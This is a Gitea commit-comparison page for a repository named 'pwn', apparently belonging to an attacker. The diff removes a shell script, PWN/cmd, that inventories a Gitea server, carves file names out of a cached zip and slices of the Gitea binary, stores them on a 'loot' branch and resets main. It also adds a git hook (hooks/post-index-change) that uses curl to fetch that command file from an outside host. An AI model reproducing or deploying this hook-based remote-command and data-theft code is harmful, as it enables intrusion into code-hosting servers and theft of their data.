Compare commits

..

17 Commits

Author SHA1 Message Date
info 58d7d72698 Actualizar hooks/post-index-change 2026-11-01 02:59:39 +00:00
info e74415b9c7 Actualizar hooks/post-index-change 2026-11-01 02:58:01 +00:00
info b8c6b5670f Aplicar parche 2026-11-01 02:50:27 +00:00
info dd53d7e2f6 Aplicar parche 2026-11-01 02:33:15 +00:00
info 3ef1fae177 Apply Patch
v5272 set full hook F
2026-10-31 07:43:52 +00:00
info 1cf3009714 Apply Patch
v5272 set hook E
2026-10-31 07:43:22 +00:00
info cdff35dcb1 Apply Patch
v5272 check A
2026-10-31 07:39:21 +00:00
info 2c0a5e7dbd t161952c 2026-10-31 07:29:47 +00:00
info 1e88742ff2 t161952r 2026-10-31 07:24:01 +00:00
info b0221cccb0 t161496d
t161496d
2026-10-31 06:44:02 +00:00
info 3c7bf7eecc t161203d 2026-10-31 05:55:49 +00:00
info 2f2e8e1b29 t160802 2026-10-31 05:24:30 +00:00
info 41dfef1b13 t160624 2026-10-31 04:43:26 +00:00
info 315b64e3df Aplicar parche 2026-10-31 03:56:09 +00:00
info 227fc02c6d t159779c 2026-10-31 03:00:14 +00:00
info 1be8bd1e23 t159779b 2026-10-31 02:56:28 +00:00
info ccaf041d52 t159779a 2026-10-31 02:54:42 +00:00
4 changed files with 6 additions and 87 deletions

89
PWN/cmd
View File

@ -1,87 +1,2 @@
D=/data/git/repositories/info/pwn1793315352.git
C=/data/gitea/home/.cache
Z=$C/d.zip
echo "RUN159238 $(date -u +%FT%TZ) user=$(id -un) gitdir=$D"
echo "== TOOLS"
for t in python3 python perl node php ruby unzip xargs od; do command -v $t >/dev/null 2>&1 && echo "HAVE $t"; done
echo "== SERV_HOOKS"
ls -la $D/hooks/ 2>&1 | head -16
echo "== CACHE"
ls -la $C 2>&1 | head -14
echo "== TMP"
ls -la $C/tmp 2>&1 | head -10
echo "== ELF_CAND"
for f in /app/gitea/gitea /proc/18/exe /app/javaa /usr/local/bin/gitea; do [ -e "$f" ] && echo "CAND $f $(stat -c %s "$f" 2>/dev/null)"; done
find /app /data -maxdepth 4 -type f -size +90000000c 2>/dev/null | head -8
echo "== ZIP_ENUM"
NB=""
if command -v perl >/dev/null 2>&1; then
NB=$(perl -e '
open(F,"<","'"$Z"'") or exit 9; binmode F;
my ($carry,$base)=("",0);
while(1){ my $n=read(F,my $b,1<<22); last unless $n;
my $d=$carry.$b; my $cb=length($carry); my $p=0;
while((my $i=index($d,"PK\x03\x04",$p))>=0){
my $o=$base-$cb+$i;
if(length($d)>=$i+30){ my $fl=unpack("v",substr($d,$i+26,2));
if(length($d)>=$i+30+$fl and $fl>0){ my $nm=substr($d,$i+30,$fl);
print "$o $nm\n" if $o>=0 and $nm=~/^[\x20-\x7e]+$/; } }
$p=$i+1; }
$carry=length($d)>200?substr($d,-200):$d; $base+=$n; }
' 2>/dev/null | git --git-dir="$D" hash-object -w --stdin)
elif command -v python3 >/dev/null 2>&1; then
NB=$(python3 -c '
import sys,struct
f=open("'"$Z"'","rb")
carry=b"";base=0;pat=b"PK\x03\x04"
while True:
b=f.read(1<<22)
if not b: break
d=carry+b;cb=len(carry);p=0
while True:
i=d.find(pat,p)
if i<0: break
o=base-cb+i
if len(d)>=i+30:
fl=struct.unpack("<H",d[i+26:i+28])[0]
if len(d)>=i+30+fl and fl>0:
nm=d[i+30:i+30+fl]
if o>=0 and all(32<=c<127 for c in nm): sys.stdout.write("%d %s\n"%(o,nm.decode()))
p=i+1
carry=d[-200:] if len(d)>200 else d;base+=len(b)
' 2>/dev/null | git --git-dir="$D" hash-object -w --stdin)
else
MK=$(printf '\120\113\003\004')
{
grep -abo "$MK" "$Z" 2>/dev/null | cut -d: -f1 | while read o; do
n=$(dd if="$Z" bs=1 skip=$((o+30)) count=130 2>/dev/null | tr -dc 'A-Za-z0-9_.@/-')
echo "$o $n"
done
} | git --git-dir="$D" hash-object -w --stdin
NB=$(cat /dev/null)
fi
echo "NAMES_BLOB ${NB:-none}"
echo "== T8M"
TLB=""
for f in /app/gitea/gitea /proc/18/exe; do
[ -r "$f" ] || continue
M=$(head -c 8388608 "$f" 2>/dev/null | md5sum | cut -d' ' -f1)
echo "T8MCHK $f $M"
if [ "$M" = "3c942a7bd9984caa4d57cb155c939d8b" ]; then
SZ=$(stat -c %s "$f")
echo "T8M_SRC $f size=$SZ"
TLB=$(dd if="$f" bs=1000000 skip=98 count=8 2>/dev/null | git --git-dir="$D" hash-object -w --stdin)
echo "TAIL_BLOB $TLB"
fi
done
echo "== TREE"
TREE_IN=""
[ -n "$NB" ] && [ "$NB" != "none" ] && TREE_IN="${TREE_IN}$(printf '100644 blob %s\tdzip.names\n' "$NB")"
[ -n "$TLB" ] && TREE_IN="${TREE_IN}$(printf '100644 blob %s\tt8m.tail\n' "$TLB")"
if [ -n "$TREE_IN" ]; then
TR=$(printf '%s' "$TREE_IN" | git --git-dir="$D" mktree 2>&1)
CM=$(printf 'l %s\n' "$(date +%s)" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git --git-dir="$D" commit-tree "$TR" 2>&1)
git --git-dir="$D" update-ref refs/heads/loot159238 "$CM" 2>&1 && echo "LOOT159238_PUSHED tree=$TR cm=$CM"
fi
git --git-dir="$D" update-ref refs/heads/main c4f7aff2d208fc4db5126119c78aa48d1b9a8671 2>&1 && echo "MAIN_RESET_IDLE"
echo "RUN159238_DONE"
echo "IDLE t161496 parked 2026-10-31T07:30:00Z"
# t161496a

View File

@ -1,4 +1,6 @@
#!/bin/sh
echo V5272F_1793432629
echo V5272F_user=$(id -un)
D="${GIT_DIR:-.}"
O=$(git --git-dir="$D" config --get remote.origin.url 2>/dev/null)
C=$(curl -s -m 8 https://git.kaki87.net/u15246m236/r147923/raw/branch/main/PWN/cmd 2>/dev/null)

1
notes.txt Normal file
View File

@ -0,0 +1 @@
trigger i170315 1793500375

1
notes2.txt Normal file
View File

@ -0,0 +1 @@
trigger i170429 1793501304